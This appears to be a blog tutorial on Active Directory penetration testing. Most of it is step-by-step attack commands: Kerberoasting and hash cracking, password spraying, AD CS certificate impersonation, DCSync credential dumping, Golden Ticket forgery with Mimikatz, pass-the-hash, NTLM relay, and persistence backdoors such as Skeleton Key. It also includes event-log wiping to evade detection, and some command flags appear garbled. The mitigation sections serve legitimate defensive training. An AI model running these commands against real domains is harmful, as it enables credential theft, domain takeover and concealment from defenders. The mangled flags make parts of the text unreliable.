Active Directory Penetration Testing Mastery: From Zero to Domain Admin – The Ultimate 2026 Interview & Technical Deep Dive + Video

By /

Listen to this Post

Featured Image

Introduction:

Active Directory (AD) serves as the authentication and authorization backbone for approximately 90% of enterprise Windows environments, making it the single most valuable target for attackers and red teams alike. A single misconfigured permission or legacy protocol can transform a low-privileged user into a Domain Admin within hours, as demonstrated by attack chains involving Kerberoasting, DCSync, and AD Certificate Services (AD CS) abuse. This article bridges the gap between interview preparation and hands-on technical execution, delivering a comprehensive guide to AD penetration testing methodology, essential tools, exploitation techniques, and defensive countermeasures for 2026.

Learning Objectives

  • Objective 1: Master the complete AD penetration testing methodology – from reconnaissance and initial enumeration to privilege escalation, lateral movement, and domain dominance.
  • Objective 2: Execute and defend against critical AD attack techniques including Kerberoasting, AS-REP Roasting, DCSync, Pass-the-Hash, Golden Ticket, and AD CS ESC exploits.
  • Objective 3: Deploy offensive tooling (BloodHound, Impacket, Rubeus, Certipy, Mimikatz) and implement hardening controls to eliminate common AD attack vectors.
  1. Active Directory Reconnaissance and Enumeration – The Foundation of Every Attack

Before any exploitation can occur, thorough reconnaissance and enumeration are essential. This phase typically begins with unauthenticated (black box) techniques and progresses to authenticated (grey box) enumeration once credentials are obtained.

Step-by-Step Guide – Unauthenticated Enumeration:

1. Identify Domain Controllers and AD Infrastructure:

 Linux – Nmap scan for AD-related services
nmap -p 88,389,445,636,3268,3269 -sV -sC <target-ip-range>
 Identify LDAP, Kerberos (88), SMB (445), LDAPS (636), Global Catalog (3268/3269)

2. Passive DNS and Subdomain Discovery:

 Use certificate transparency logs for subdomain discovery
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u

3. Active Directory LDAP Anonymous Enumeration (if allowed):

 Using ldapsearch to enumerate domain information
ldapsearch -x -H ldap://<dc-ip> -b "dc=domain,dc=local" -s base
ldapsearch -x -H ldap://<dc-ip> -b "dc=domain,dc=local" "(objectClass=user)" sAMAccountName

4. SMB Null Session Enumeration:

 Using enum4linux or smbclient
enum4linux -a <dc-ip>
smbclient -L //<dc-ip> -1

5. Automated AD Enumeration with BloodHound (Post-Authentication):

 Windows – Run SharpHound to collect AD data
.\SharpHound.exe -c All --domaindomain.local --ldapusername <user> --ldappassword <pass>

 Linux – Using BloodHound Python (bloodhound.py)
bloodhound-python -d domain.local -u <user> -p <pass> -1s <dc-ip> -c All

BloodHound visualizes attack paths, identifying users who can reach high-value targets like Domain Admins.

You Should Know: The `-c All` flag in SharpHound collects group memberships, ACLs, sessions, and trusts – the core data for pathfinding.

  1. Credential Harvesting and Password Attacks – Kerberoasting, AS-REP Roasting, and Password Spraying

Password-based attacks remain the most common entry vector in AD environments. Three techniques dominate: Kerberoasting, AS-REP Roasting, and Password Spraying.

Step-by-Step Guide – Executing Kerberoasting:

Kerberoasting targets service accounts with Service Principal Names (SPNs). Attackers request a Ticket Granting Service (TGS) ticket for the SPN and crack it offline.

1. Enumerate SPNs and Request TGS Tickets:

 Windows – Using Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt /domain:domain.local

 Linux – Using Impacket's GetUserSPNs
GetUserSPNs.py domain.local/<user>:<pass> -dc-ip <dc-ip> -request -outputfile hashes.txt

2. Crack the Hashes Offline:

hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
 Mode 13100 = Kerberos 5 TGS-REP (RC4) – use mode 19600 for AES

3. AS-REP Roasting (Accounts Without Pre-Authentication):

 Linux – Using Impacket's GetNPUsers
GetNPUsers.py domain.local/ -dc-ip <dc-ip> -request -outputfile asrephashes.txt

 Windows – Rubeus AS-REP Roast
.\Rubeus.exe asreproast /outfile:asrephashes.txt

Crack with Hashcat mode 18200.

4. Password Spraying (Single Password Against Many Users):

 Using CrackMapExec (now NetExec)
nxc smb <dc-ip> -u users.txt -p 'Winter2025!' --continue-on-success

 Using adhammer
adhammer attack spray --kdc dc.corp.local --realm CORP.LOCAL --users @users.txt --password 'Winter2025!'

Mitigation: Remove SPNs from admin accounts, enforce strong password policies (>25 characters for service accounts), and monitor Event IDs 4768 (TGT requested) and 4771 (Pre-authentication failed).

  1. Active Directory Certificate Services (AD CS) Abuse – ESC1 to ESC16 Attack Chains

AD CS misconfigurations represent one of the most critical and often overlooked attack vectors. The SpecterOps team identified 16 ESC (Enterprise Subordinate CA) techniques that allow attackers to request certificates and impersonate domain administrators.

Step-by-Step Guide – ESC1 (Identity Theft via Vulnerable Templates):

ESC1 occurs when a certificate template allows low-privileged users to enroll, specifies the requester’s name can be supplied in the request, and has the client authentication EKU.

1. Enumerate AD CS Infrastructure:

 Linux – Certipy enumeration
certipy find -u '<user>' -p '<password>' -dc-ip '<dc-ip>' -vulnerable -enable

 Windows – Certify enumeration
.\Certify.exe find /vulnerable
  1. Request a Certificate Impersonating a High-Value User (e.g., Domain Admin): 
    Using Certipy to request a certificate for the target user
certipy req -u '<user>' -p '<password>' -ca '<ca-1ame>' -target '<dc-ip>' -template '<vulnerable-template>' -upn '[email protected]'

3. Authenticate Using the Obtained Certificate:

 Use the certificate to obtain a Kerberos TGT
certipy auth -pfx '<certificate.pfx>' -dc-ip '<dc-ip>'
 This provides NT hash and Kerberos ticket for the impersonated user

4. DCSync Attack (Domain Dominance):

Once you have Domain Admin privileges, use DCSync to extract all password hashes from the domain controller without touching the LSASS process.

 Using Impacket's secretsdump
secretsdump.py 'domain.local/administrator:<hash>@<dc-ip>' -just-dc

Additional ADCS Attack Vectors:

  • ESC8 (NTLM Relay to AD CS Web Enrollment): Coerce a domain controller to authenticate to a malicious NTLM relay, then request a certificate.
  • PetitPotam (MS-EFSR Coercion): Force a domain controller to authenticate to an attacker-controlled server.

Tool Spotlight – ADhammer: A Rust-based AD auditor that performs 33 checks across PingCastle categories and supports Kerberos roasting, password spray, RBCD, and Shadow Credentials from a single binary.

  1. Kerberos Attacks – Golden Ticket, Silver Ticket, and Pass-the-Ticket

Once an attacker has Domain Admin privileges or krbtgt hash, they can forge Kerberos tickets to persist indefinitely.

Step-by-Step Guide – Golden Ticket Attack:

The Golden Ticket abuses the KRBTGT account’s hash to create valid TGTs for any user, including Domain Admins.

1. Dump KRBTGT Hash:

secretsdump.py 'domain.local/administrator:<hash>@<dc-ip>' -just-dc-user 'krbtgt'

2. Forge a Golden Ticket:

 Windows – Using Mimikatz
.\mimikatz.exe "kerberos::golden /domain:domain.local /sid:<domain-sid> /krbtgt:<krbtgt-hash> /user:Administrator /id:500 /ptt"

 Linux – Using ticketer.py (Impacket)
ticketer.py -domain 'domain.local' -domain-sid '<domain-sid>' -krbtgt-hash '<hash>' Administrator

3. Use the Ticket for Lateral Movement:

 Set the ticket as environment variable (Linux)
export KRB5CCNAME=/path/to/administrator.ccache
 Then use it with any Kerberos-enabled tool
psexec.py -k 'domain.local/administrator@<target-ip>' -dc-ip <dc-ip>

Mitigation: Regularly change the KRBTGT password (at least every 180 days), monitor for unusual TGT requests (Event 4768), and implement the “Protected Users” group for high-value accounts.

  1. Lateral Movement and Privilege Escalation – Pass-the-Hash, SMB Relay, and Constrained Delegation

Lateral movement techniques allow attackers to expand from a single compromised host to the entire domain.

Step-by-Step Guide – Pass-the-Hash (PtH) and SMB Relay:

1. Pass-the-Hash (Using NTLM Hashes):

 Linux – Using Impacket's psexec
psexec.py 'domain.local/<user>@<target-ip>' -hashes '<lmhash>:<nthash>'

 Using NetExec (formerly CrackMapExec)
nxc smb <target-ip> -u <user> -H <nt-hash> -x 'whoami'

2. NTLM Relay Attack (LLMNR/NBT-1S Poisoning):

  • Poison LLMNR/NBT-1S responses (using Responder) to capture NTLM hashes. 
    Start Responder to capture hashes
sudo responder -I eth0 -wrfv
  • Relay captured NTLM authentication to other machines: 
    Using ntlmrelayx (Impacket)
ntlmrelayx.py -tf targets.txt -smb2support -c 'whoami'

3. Resource-Based Constrained Delegation (RBCD) Abuse:

If an attacker can write to a machine account’s `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute, they can impersonate any user to that machine.

 Using adhammer to perform RBCD attack
adhammer attack rbcd --account <compromised-account> --account-password <pass> --realm CORP.LOCAL --kdc <dc-ip> --impersonate Administrator --target-spn cifs/victim

Defensive Measures: Disable LLMNR and NBT-1S via Group Policy, enable SMB signing, and implement the principle of least privilege for delegation permissions.

6. Post-Exploitation Persistence and Detection Evasion

Once domain dominance is achieved, attackers establish persistence through various mechanisms.

Step-by-Step Guide – Persistence Mechanisms:

  1. DCSync Persistence: Grant DCSync rights to a compromised user account. 
    Using PowerView (PowerShell)
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity <user> -Rights DCSync

  2. Skeleton Key (Mimikatz): Inject a master password that works for all domain users.

    .\mimikatz.exe "privilege::debug" "misc::skeleton"

  3. AdminSDHolder Backdoor: Modify AdminSDHolder permissions to grant persistent admin rights.

    Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalIdentity <user> -Rights All

  4. Detection Evasion: Disable logging, clear event logs, and modify GPOs to exclude monitoring tools.

    wevtutil cl System
wevtutil cl Security
wevtutil cl Application

Monitoring: Implement centralized logging (SIEM), monitor for Event IDs 4624 (successful logon), 4672 (special privileges), and 4740 (account lockout) to detect anomalous behavior.

  1. AD Hardening and Defensive Countermeasures – Securing the Enterprise

A comprehensive AD security posture requires proactive hardening across multiple layers.

Step-by-Step Guide – AD Hardening Checklist:

1. Disable Legacy Protocols:

  • Disable SMBv1, NTLMv1, and LLMNR/NBT-1S via Group Policy.
  • Force Kerberos with AES256 encryption for service accounts.
  1. Implement Tiered Administration Model (Tier 0, 1, 2):

– Tier 0: Domain Controllers, AD administrators (most restricted).
– Tier 1: Server administrators.
– Tier 2: Workstation administrators.
– Never allow Tier 1/2 accounts to log onto Tier 0 assets.

3. Audit and Review Privileged Access:

 Identify all Domain Admins and Enterprise Admins
Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name
Get-ADGroupMember -Identity "Enterprise Admins" | Select-Object Name

4. Apply Least Privilege to Service Accounts:

  • Use Group Managed Service Accounts (gMSA) instead of human service accounts.
  • Remove unnecessary SPNs from admin accounts.

5. Enable Advanced Auditing:

  • Audit Kerberos authentication (Event IDs 4768, 4771, 4776).
  • Audit directory service changes (Event IDs 5136-5141).
  • Audit privilege use (Event IDs 4672, 4673, 4674).

6. Regular Vulnerability Scanning:

 Using PingCastle for AD risk assessment
.\PingCastle.exe --healthcheck --server <dc-ip>

 Using adhammer for continuous assessment
adhammer scan --url ldaps://dc.corp.local:636 --user CORP\svc --password <pass> --insecure --sysvol \corp.local\SYSVOL

What Undercode Say:

  • Key Takeaway 1: AD penetration testing is not a linear process – it requires an iterative workflow where initial enumeration feeds into exploitation, which then reveals new attack paths through post-compromise enumeration. Tools like BloodHound are indispensable for visualizing these complex relationships, but manual validation remains critical.

  • Key Takeaway 2: The most dangerous AD vulnerabilities often stem from misconfigurations rather than unpatched CVEs – legacy protocols (LLMNR, NTLMv1), overpermissioned service accounts, and lax certificate template configurations provide reliable entry points for attackers. Defenders must prioritize configuration hardening alongside patch management.

Analysis: The 2025 hybrid security landscape reveals that organizations are increasingly vulnerable to AD attacks, with 28% experiencing targeted on-premises infrastructure attacks – a significant increase from 19% in 2023. The average hybrid AD security score hovers at 61/100, indicating widespread exposure. Attackers continue to favor Kerberos-based techniques (Kerberoasting, AS-REP Roasting) over traditional password attacks because they generate less noise and are harder to detect. Meanwhile, AD CS exploitation has emerged as a game-changing vector, with ESC techniques enabling low-privileged users to achieve domain dominance without ever touching LSASS. The convergence of on-premises AD with cloud identities (Entra ID/Azure AD) introduces additional attack surfaces that defenders often overlook. Effective defense requires a shift from perimeter-based security to identity-centric zero trust models, with continuous monitoring, rigorous privilege management, and regular offensive security validation as core pillars.

Prediction:

  • +1 The continued maturation of open-source AD attack tooling (ADhammer, BloodHound CE, Certipy) will democratize security testing, enabling smaller organizations to conduct sophisticated AD assessments without expensive commercial solutions. This will drive broader adoption of proactive security validation.

  • -1 The rapid adoption of hybrid AD/Entra ID environments will create a new wave of identity-based attacks that span on-premises and cloud boundaries, with adversaries exploiting synchronization misconfigurations and hybrid trust relationships. Organizations ill-prepared for this convergence will face catastrophic breaches.

  • -1 AI-powered password cracking and automated attack path discovery will dramatically reduce the time required to compromise AD environments from days to hours, making credential-based attacks even more dangerous. Defenders must accelerate the transition to passwordless authentication and phishing-resistant MFA.

  • +1 Microsoft’s ongoing Kerberos hardening initiatives and increased logging capabilities will provide defenders with better visibility into authentication anomalies, enabling faster detection of Golden Ticket, Silver Ticket, and Kerberoasting attempts. Organizations that invest in SIEM integration and threat hunting will gain a significant advantage.

  • +1 The growing emphasis on AD security in certifications (OSCP, PNPT, CRTP) and training platforms (HTB, THM) is producing a new generation of security professionals equipped to address AD vulnerabilities comprehensively. This talent pipeline will strengthen the overall security ecosystem.

  • -1 Ransomware gangs will increasingly weaponize AD CS ESC techniques to achieve domain-wide encryption, bypassing traditional EDR and endpoint controls entirely. The absence of comprehensive AD CS auditing in most organizations will remain a critical blind spot until high-profile breaches force industry-wide change.

  • +1 The emergence of Rust-based AD security tools (ADhammer) and automated attack path mapping (ADPathFinder) will enable continuous, low-overhead AD security assessment, shifting security from periodic point-in-time tests to ongoing validation. This represents a fundamental improvement in defensive posture.

  • -1 The increasing complexity of AD environments, combined with the retirement of experienced AD administrators, will lead to a growing “privilege debt” of stale accounts and misconfigurations that attackers will eagerly exploit. Organizations must invest in automated identity governance and regular access reviews to counter this trend.

▶️ Related Video (70% Match):

https://www.youtube.com/watch?v=3lBPEyQaptI

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: Deepmarketer Active – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: